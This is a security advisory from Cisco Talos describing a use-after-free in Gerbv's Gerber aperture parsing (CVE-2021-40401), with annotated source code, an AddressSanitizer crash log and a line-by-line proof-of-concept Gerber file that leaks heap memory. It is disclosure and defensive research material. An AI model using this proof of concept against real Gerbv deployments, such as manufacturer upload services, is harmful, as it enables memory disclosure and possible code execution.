Talos Vulnerability Report

TALOS-2021-1415

Gerbv RS-274X aperture definition tokenization use-after-free vulnerability

JANUARY 31, 2022

CVE NUMBER

CVE-2021-40401

Summary

A use-after-free vulnerability exists in the RS-274X aperture definition tokenization functionality of Gerbv 2.7.0 and dev (commit b5f1eacd) and Gerbv forked 2.7.1. A specially-crafted gerber file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

Tested Versions

Gerbv 2.7.0
Gerbv forked 2.7.1
Gerbv dev (commit b5f1eacd)

Product URLs

Gerbv - https://sourceforge.net/projects/gerbv/ Gerbv forked - https://github.com/gerbv/gerbv

CVSSv3 Score

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:H

CWE

CWE-252 - Unchecked Return Value

Details

Gerbv is an open-source software that allows users to view RS-274X Gerber files, Excellon drill files and pick-n-place files. These file formats are used in industry to describe the layers of a printed circuit board and are a core part of the manufacturing process.

Some PCB (printed circuit board) manufacturers use software like Gerbv in their web interfaces as a tool to convert Gerber (or other supported) files into images. Users can upload gerber files to the manufacturer website, which are converted to an image to be displayed in the browser, so that users can verify that what has been uploaded matches their expectations. Gerbv can do such conversions using the `-x` switch (export). For this reason, we consider this software as reachable via network without user interaction or privilege requirements.

Gerbv uses the function `gerbv_open_image` to open files. In this advisory we're interested in the RS-274X file-type.

```
int
gerbv_open_image(gerbv_project_t *gerbvProject, char *filename, int idx, int reload,
                gerbv_HID_Attribute *fattr, int n_fattr, gboolean forceLoadFile)
{
    ...
    dprintf("In open_image, about to try opening filename = %s\n", filename);

    fd = gerb_fopen(filename);
    if (fd == NULL) {
        GERB_COMPILE_ERROR(_("Trying to open \"%s\": %s"),
                        filename, strerror(errno));
        return -1;
    }
    ...
    if (gerber_is_rs274x_p(fd, &foundBinary)) {                                 // [1]
        dprintf("Found RS-274X file\n");
        if (!foundBinary || forceLoadFile) {
                /* figure out the directory path in case parse_gerb needs to
                 * load any include files */
                gchar *currentLoadDirectory = g_path_get_dirname (filename);
                parsed_image = parse_gerb(fd, currentLoadDirectory);            // [2]
                g_free (currentLoadDirectory);
        }
    }
    ...
```

A file is considered of type "RS-274X" if the function `gerber_is_rs274x_p` [1] returns true. When true, the `parse_gerb` is called [2] to parse the input file. Let's first look at the requirements that we need to satisfy to have an input file be recognized as an RS-274X file:

```
gboolean
gerber_is_rs274x_p(gerb_file_t *fd, gboolean *returnFoundBinary)
{
    ...
    while (fgets(buf, MAXL, fd->fd) != NULL) {
        dprintf ("buf = \"%s\"\n", buf);
        len = strlen(buf);

        /* First look through the file for indications of its type by
         * checking that file is not binary (non-printing chars and white
         * spaces)
         */
        for (i = 0; i < len; i++) {                                          // [3]
            if (!isprint((int) buf[i]) && (buf[i] != '\r') &&
                (buf[i] != '\n') && (buf[i] != '\t')) {
                found_binary = TRUE;
                dprintf ("found_binary (%d)\n", buf[i]);
            }
        }
        if (g_strstr_len(buf, len, "%ADD")) {
            found_ADD = TRUE;
            dprintf ("found_ADD\n");
        }
        if (g_strstr_len(buf, len, "D00") || g_strstr_len(buf, len, "D0")) {
            found_D0 = TRUE;
            dprintf ("found_D0\n");
        }
        if (g_strstr_len(buf, len, "D02") || g_strstr_len(buf, len, "D2")) {
            found_D2 = TRUE;
            dprintf ("found_D2\n");
        }
        if (g_strstr_len(buf, len, "M00") || g_strstr_len(buf, len, "M0")) {
            found_M0 = TRUE;
            dprintf ("found_M0\n");
        }
        if (g_strstr_len(buf, len, "M02") || g_strstr_len(buf, len, "M2")) {
            found_M2 = TRUE;
            dprintf ("found_M2\n");
        }
        if (g_strstr_len(buf, len, "*")) {
            found_star = TRUE;
            dprintf ("found_star\n");
        }
        /* look for X<number> or Y<number> */
        if ((letter = g_strstr_len(buf, len, "X")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after X */
                found_X = TRUE;
                dprintf ("found_X\n");
            }
        }
        if ((letter = g_strstr_len(buf, len, "Y")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after Y */
                found_Y = TRUE;
                dprintf ("found_Y\n");
            }
        }
    }
    ...
    /* Now form logical expression determining if the file is RS-274X */
    if ((found_D0 || found_D2 || found_M0 || found_M2) &&                  // [4]
        found_ADD && found_star && (found_X || found_Y))
        return TRUE;

    return FALSE;

} /* gerber_is_rs274x */
```

For an input to be considered an RS-274X file, the file must first contain only printing characters [3]. The other requirements can be gathered by the conditional expression at [4]. An example of a minimal RS-274X file is the following:

```
%FSLAX26Y26*%
%MOMM*%
%ADD100C,1.5*%
D100*
X0Y0D03*
M02*
```

Even though not important for the purposes of the vulnerability itself, note that the checks use `g_strstr_len`, so all those fields can be found anywhere in the file. For example, this file is also recognized as an RS-274X file, even though it will fail later checks in the execution flow:

```
%ADD0X0*
```

After an RS-274X file has been recognized, `parse_gerb` is called, which in turn calls `gerber_parse_file_segment`:

```
gboolean
gerber_parse_file_segment (gint levelOfRecursion, gerbv_image_t *image,
                           gerb_state_t *state,        gerbv_net_t *curr_net,
                           gerbv_stats_t *stats, gerb_file_t *fd,
                           gchar *directoryPath)
{
    ...
    while ((read = gerb_fgetc(fd)) != EOF) {
        ...
        case '%':
            dprintf("... Found %% code at line %ld\n", line_num);
            while (1) {
                    parse_rs274x(levelOfRecursion, fd, image, state, curr_net,
                                stats, directoryPath, &line_num);
```

If our file starts with “%”, we end up calling `parse_rs274x`:

```
static void
parse_rs274x(gint levelOfRecursion, gerb_file_t *fd, gerbv_image_t *image,
             gerb_state_t *state, gerbv_net_t *curr_net, gerbv_stats_t *stats,
             gchar *directoryPath, long int *line_num_p)
{
    ...
    switch (A2I(op[0], op[1])){
    ...
    case A2I('A','D'): /* Aperture Description */
        a = (gerbv_aperture_t *) g_new0 (gerbv_aperture_t,1);

        ano = parse_aperture_definition(fd, a, image, scale, line_num_p); // [5]
        ...
        break;
    case A2I('A','M'): /* Aperture Macro */
        tmp_amacro = image->amacro;
        image->amacro = parse_aperture_macro(fd);
        if (image->amacro) {
            image->amacro->next = tmp_amacro;
        ...
```

For this advisory, we’re interested in the `AM` and `AD` commands. For details on the Gerber format see the specification from Ucamco.

In summary, `AM` defines a “macro aperture template”, which is, in other terms, a parameterized shape. It is a flexible way to define arbitrary shapes by building on top of simpler shapes (primitives). It allows for arithmetic operations and variable definition. After a template has been defined, the `AD` command is used to instantiate the template and optionally passes some parameters to customize the shape.

From the specification, this is the syntax of the `AM` command:

```
<AM command>          = AM<Aperture macro name>*<Macro content>
<Macro content>       = {{<Variable definition>*}{<Primitive>*}}
<Variable definition> = $K=<Arithmetic expression>
<Primitive>           = <Primitive code>,<Modifier>{,<Modifier>}|<Comment>
<Modifier>            = $M|< Arithmetic expression>
<Comment>             = 0 <Text>
```

While this is the syntax for the `AD` command:

```
<AD command> = ADD<D-code number><Template>[,<Modifiers set>]*
<Modifiers set> = <Modifier>{X<Modifier>}
```

Before going on with the aperture parsing, let’s look at a core function used throughout the codebase: `gerb_fgetstring`.

```
char *
gerb_fgetstring(gerb_file_t *fd, char term)
{
    char *strend = NULL;
    char *newstr;
    char *i, *iend;
    int len;

    iend = fd->data + fd->datalen;
    for (i = fd->data + fd->ptr; i < iend; i++) {
        if (*i == term) {
            strend = i;
            break;
        }
    }

    if (strend == NULL)
        return NULL;

    len = strend - (fd->data + fd->ptr);

    newstr = (char *)g_malloc(len + 1);
    if (newstr == NULL)
        return NULL;
    strncpy(newstr, fd->data + fd->ptr, len);
    newstr[len] = '\0';
    fd->ptr += len;

    return newstr;
} /* gerb_fgetstring */
```

This function will return the a new string that covers from position `fd->ptr` up to the `term` character, and is returned as a new buffer allocated via `g_malloc`. This function however can also return NULL when `g_malloc` fails, or when the `term` character is not found from position `fd->ptr` to the end of the file. Clearly, all callers of this function should compare its return value against NULL and act accordingly.

Keeping this requirement in mind, let's look at `parse_aperture_definition` [5] to see how an "aperture description" (AD) is parsed:

```
static int
parse_aperture_definition(gerb_file_t *fd, gerbv_aperture_t *aperture,
                          gerbv_image_t *image, gdouble scale,
                          long int *line_num_p)
{
    int ano, i;
    char *ad;
    char *token;
    gerbv_amacro_t *curr_amacro;
    gerbv_amacro_t *amacro = image->amacro;
    gerbv_error_list_t *error_list = image->gerbv_stats->error_list;
    gdouble tempHolder;

    if (gerb_fgetc(fd) != 'D') {
        gerbv_stats_printf(error_list, GERBV_MESSAGE_ERROR, -1,
                _("Found AD code with no following 'D' "
                    "at line %ld in file \"%s\""),
                *line_num_p, fd->filename);
        return -1;
    }

    /*
     * Get aperture no
     */
    ano = gerb_fgetint(fd, NULL);                                   // [6]

    /*
     * Read in the whole aperture defintion and tokenize it
     */
    ad = gerb_fgetstring(fd, '*');                                  // [7]
    token = strtok(ad, ",");                                        // [8]

    if (token == NULL) {
        gerbv_stats_printf(error_list, GERBV_MESSAGE_ERROR, -1,
                _("Invalid aperture definition "
                    "at line %ld in file \"%s\""),
                *line_num_p, fd->filename);
        return -1;
    }
    if (strlen(token) == 1) {                                       // [10]
        switch (token[0]) {
        case 'C':
            aperture->type = GERBV_APTYPE_CIRCLE;
            break;
        case 'R' :
            aperture->type = GERBV_APTYPE_RECTANGLE;
            break;
        case 'O' :
            aperture->type = GERBV_APTYPE_OVAL;
            break;
        case 'P' :
            aperture->type = GERBV_APTYPE_POLYGON;
            break;
        }
        /* Here a should a T be defined, but I don't know what it represents */
    } else {
        aperture->type = GERBV_APTYPE_MACRO;                        // [11]
        /*
         * In aperture definition, point to the aperture macro
         * used in the defintion
         */
        curr_amacro = amacro;
        while (curr_amacro) {
            if ((strlen(curr_amacro->name) == strlen(token)) &&
                (strcmp(curr_amacro->name, token) == 0)) {
                aperture->amacro = curr_amacro;
                break;
            }
            curr_amacro = curr_amacro->next;
        }
    }

    ...

    if (aperture->type == GERBV_APTYPE_MACRO) {
        dprintf("Simplifying aperture %d using aperture macro \"%s\"\n", ano,
                aperture->amacro->name);
        simplify_aperture_macro(aperture, scale);                   // [12]
        dprintf("Done simplifying\n");
    }

    g_free(ad);                                                     // [9]

    return ano;
} /* parse_aperture_definition */
```

At [6] the aperture number is retrieved as an integer and stored in `ano`. Then `gerb_fgetstring` [7] is used to retrieve a string from the current pointer in the file up to the first occurrence of the character `*` (recall this may return NULL).
The aperture type is then parsed using `strtok` [8]. However the `ad` variable is not compared against NULL, so `strtok` might receive a NULL as first argument.

This is the crux of the issue, but in order to understand the impact, let's review in detail how `strtok` works, from the man page:

char *strtok(char *restrict str, const char *restrict delim);

The strtok() function breaks a string into a sequence of zero or more nonempty tokens. On the first call to strtok(), the string to be parsed should be specified in str. In each subsequent call that should parse the same string, str must be NULL. The delim argument specifies a set of bytes that delimit the tokens in the parsed string. … A sequence of calls to strtok() that operate on the same string maintains a pointer that determines the point from which to start searching for the next token. The first call to strtok() sets this pointer to point to the first byte of the string. The start of the next token is determined by scanning forward for the next nondelimiter byte in str.

Let's assume that we call `parse_aperture_definition` twice, by means of these two lines:

```
%ADD20C,1*%
%ADD21
```

The first time, `gerb_fgetstring` will return “C,1”, and `strtok` will return a pointer to “C”.
The second time, `gerb_fgetstring` will return NULL because there are no more “*” characters until the end of the file, and the code will call `strtok(NULL, ",")`.
Since there have been no other calls to `strtok` across the two `parse_aperture_definition` invocations, the second `strtok` call will keep tokenizing the first `ad` string (“C,1”). However, that string was stored in a heap buffer that was freed before returning from `parse_aperture_definition` [9]. So, the internal `strtok` pointer is pointing to a freed buffer at the time of the second `strtok` call.

As we’ll show later, this results in a use-after-free which can be used to extract data from the heap. However, the issue is more serious, since `strtok` is also writing to the buffer that it’s tokenizing. Again from the man page:

The end of each token is found by scanning forward until either the next delimiter byte is found or until the terminating null byte (‘\0’) is encountered. If a delimiter byte is found, it is overwritten with a null byte to terminate the current token, and strtok() saves a pointer to the following byte; that pointer will be used as the starting point when searching for the next token. In this case, strtok() returns a pointer to the start of the found token.

This means that whenever `strtok` finds a “,”, it will replace that character with a NULL, and will return a pointer to the token that is expected to be within the original `ad` buffer. Hence, this issue allows for corrupting any heap data by replacing “,” characters with a NULL. With careful heap manipulation, this could be used to execute arbitrary code.

Crash Information

```
# ./gerbv -x png -o out.png parse_aperture_strtok.min.poc

** (process:15271): CRITICAL **: 18:13:29.379: Unknown RS-274X extension found %D0% at line 1 in file "parse_aperture_strtok.min.poc"
=================================================================
==15271==ERROR: AddressSanitizer: heap-use-after-free on address 0xf4c01512 at pc 0xf79a3d6a bp 0xff9e4918 sp 0xff9e44e8
READ of size 3 at 0xf4c01512 thread T0
    #0 0xf79a3d69  (/usr/lib/i386-linux-gnu/libasan.so.4+0x4cd69)
    #1 0x56688b32 in parse_aperture_definition ./src/gerber.c:2200
    #2 0x56683cef in parse_rs274x ./src/gerber.c:1637
    #3 0x56677211 in gerber_parse_file_segment ./src/gerber.c:243
    #4 0x5667cd97 in parse_gerb ./src/gerber.c:768
    #5 0x56692db3 in gerbv_open_image ./src/gerbv.c:526
    #6 0x56690760 in gerbv_open_layer_from_filename_with_color ./src/gerbv.c:249
    #7 0x565fc528 in main ./src/main.c:932
    #8 0xf6bc2f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
    #9 0x565ba220  (./gerbv+0x16220)

0xf4c01513 is located 0 bytes to the right of 3-byte region [0xf4c01510,0xf4c01513)
freed by thread T0 here:
    #0 0xf7a3cb94 in __interceptor_free (/usr/lib/i386-linux-gnu/libasan.so.4+0xe5b94)
    #1 0xf704768f in g_free (/usr/lib/i386-linux-gnu/libglib-2.0.so.0+0x4e68f)
    #2 0x56683cef in parse_rs274x ./src/gerber.c:1637
    #3 0x56677211 in gerber_parse_file_segment ./src/gerber.c:243
    #4 0x5667cd97 in parse_gerb ./src/gerber.c:768
    #5 0x56692db3 in gerbv_open_image ./src/gerbv.c:526
    #6 0x56690760 in gerbv_open_layer_from_filename_with_color ./src/gerbv.c:249
    #7 0x565fc528 in main ./src/main.c:932
    #8 0xf6bc2f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)

previously allocated by thread T0 here:
    #0 0xf7a3cf54 in malloc (/usr/lib/i386-linux-gnu/libasan.so.4+0xe5f54)
    #1 0xf7047568 in g_malloc (/usr/lib/i386-linux-gnu/libglib-2.0.so.0+0x4e568)
    #2 0x56688a58 in parse_aperture_definition ./src/gerber.c:2190
    #3 0x56683cef in parse_rs274x ./src/gerber.c:1637
    #4 0x56677211 in gerber_parse_file_segment ./src/gerber.c:243
    #5 0x5667cd97 in parse_gerb ./src/gerber.c:768
    #6 0x56692db3 in gerbv_open_image ./src/gerbv.c:526
    #7 0x56690760 in gerbv_open_layer_from_filename_with_color ./src/gerbv.c:249
    #8 0x565fc528 in main ./src/main.c:932
    #9 0xf6bc2f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)

SUMMARY: AddressSanitizer: heap-use-after-free (/usr/lib/i386-linux-gnu/libasan.so.4+0x4cd69)
Shadow bytes around the buggy address:
  0x3e980250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e980260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e980270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e980280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e980290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3e9802a0: fa fa[fd]fa fa fa 06 fa fa fa 06 fa fa fa 00 04
  0x3e9802b0: fa fa 04 fa fa fa 00 04 fa fa 00 05 fa fa 00 04
  0x3e9802c0: fa fa 00 04 fa fa fd fa fa fa fd fa fa fa 04 fa
  0x3e9802d0: fa fa 04 fa fa fa 00 00 fa fa 00 04 fa fa 00 04
  0x3e9802e0: fa fa fd fd fa fa fd fa fa fa fa fa fa fa fa fa
  0x3e9802f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==15271==ABORTING
```

Exploit Proof of Concept

Attached to this advisory are two proof-of-concepts.

The first one `parse_aperture_strtok.min.poc` is a minimized version that will likely trigger a NULL dereference in `strtok`.

The second one (`parse_aperture_strtok.1.poc` and `parse_aperture_strtok.2.poc`) is a sample implementation of the information leak described before. There are probably several ways of reading memory via this primitive; we are just highlighting one of them.

```
token = strtok(ad, ",");                                        // [8]

if (token == NULL) {
    gerbv_stats_printf(error_list, GERBV_MESSAGE_ERROR, -1,
            _("Invalid aperture definition "
                "at line %ld in file \"%s\""),
            *line_num_p, fd->filename);
    return -1;
}
if (strlen(token) == 1) {                                       // [10]
    switch (token[0]) {
    case 'C':
        aperture->type = GERBV_APTYPE_CIRCLE;
        break;
    case 'R' :
        aperture->type = GERBV_APTYPE_RECTANGLE;
        break;
    case 'O' :
        aperture->type = GERBV_APTYPE_OVAL;
        break;
    case 'P' :
        aperture->type = GERBV_APTYPE_POLYGON;
        break;
    }
    /* Here a should a T be defined, but I don't know what it represents */
} else {
    aperture->type = GERBV_APTYPE_MACRO;                        // [11]
    /*
     * In aperture definition, point to the aperture macro
     * used in the defintion
     */
    curr_amacro = amacro;
    while (curr_amacro) {
        if ((strlen(curr_amacro->name) == strlen(token)) &&
            (strcmp(curr_amacro->name, token) == 0)) {
            aperture->amacro = curr_amacro;
            break;
        }
        curr_amacro = curr_amacro->next;
    }
}

...

if (aperture->type == GERBV_APTYPE_MACRO) {
    dprintf("Simplifying aperture %d using aperture macro \"%s\"\n", ano,
            aperture->amacro->name);
    simplify_aperture_macro(aperture, scale);                   // [12]
    dprintf("Done simplifying\n");
}
```

At [8] `strtok` will read (use-after-free) from the heap, so anything could be returned in `token`. It is possible to manipulate the heap so that the saved `ad` pointer will point to 2 known bytes. This way, `strlen(token)` at [10] will return 2, and we'll land at [11] where the code interprets the `token` as a macro name. If any macro has been defined that matches `token`, then that macro will be used at [12], and it will be possible to draw using that macro later on. The idea of this exploitation path is to guess the placement of the two known bytes and walk back, guessing previous bytes by making the macro name larger. Depending on which macro will be exported to the image file, we'll be able to tell which value in memory was matched. This will allow for leaking memory until a NULL byte is found.

Let's look at the PoC line-by-line:

```
%FSLAX25Y25*%
%MOIN*%

G04 Create a blank region to draw over *
%LPC*%
G36*
X0Y0D01*
X0Y800000D01*
X800000Y800000D01*
X800000Y0D01*
G37*
%LPD*%
```

Initializations and setup of a blank region used to make the image larger.

```
G04 Create aperture macros with 2-bytes names permutations *
G04 These are drawing triangles with different rotations *
%AM-V*4,1,3,0,0,0,2,4,1,0,0,0*%
%AM_V*4,1,3,0,0,0,2,4,1,0,0,50*%
%AM=V*4,1,3,0,0,0,2,4,1,0,0,90*%
%AM+V*4,1,3,0,0,0,2,4,1,0,0,180*%
%AM\V*4,1,3,0,0,0,2,4,1,0,0,270*%
G04 ... other macros (trimmed) ... *
```

Definition of multiple macros with different names ("-V", "_V", "=V", etc.), ideally all permutations of two bytes, should be written here if the bytes we're matching are unknown.

```
G04 Initialize strtok *
%ADD20C,BBBB\x00CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCC*%
```

Call `strtok` for the first time. `\x00` is actually a NULL byte in the PoC file; it's simply a trick used to force `gerb_fgetstring` to allocate a larger buffer and to stop `strtok` at "BBBB". The size of the buffer will depend on the targeted heap data.

```
%IFparse_aperture_strtok.2.poc*%
```

Include an external file containing:

```
%ADD21
```

This triggers the `strtok` issue, since there's no `*` till the end of this file. Note that there might be a way to do the same without the `%IF` directive. However, we couldn't find a trivial way around using `M02*` below to force the rending of the image at the same time.

```
D21*
X400000Y400000D03*
M02*
```

Finally, use the tool 21, which will use whatever macro has been matched depending on heap contents (it might match one of "-V", "_V", "=V"; however in the provided PoC, it will likely match nothing unless run in gdb). If any match happens, one of the triangles defined by the macro will be rendered in the image. By looking at which triangle has been printed, we will know which byte was in memory, hence the information leak.

Timeline

2021-11-24 - Vendor Disclosure
2021-12-21 - Vendor Patched
2022-01-31 - Public Release

CREDIT

Discovered by Claudio Bozzato of Cisco Talos.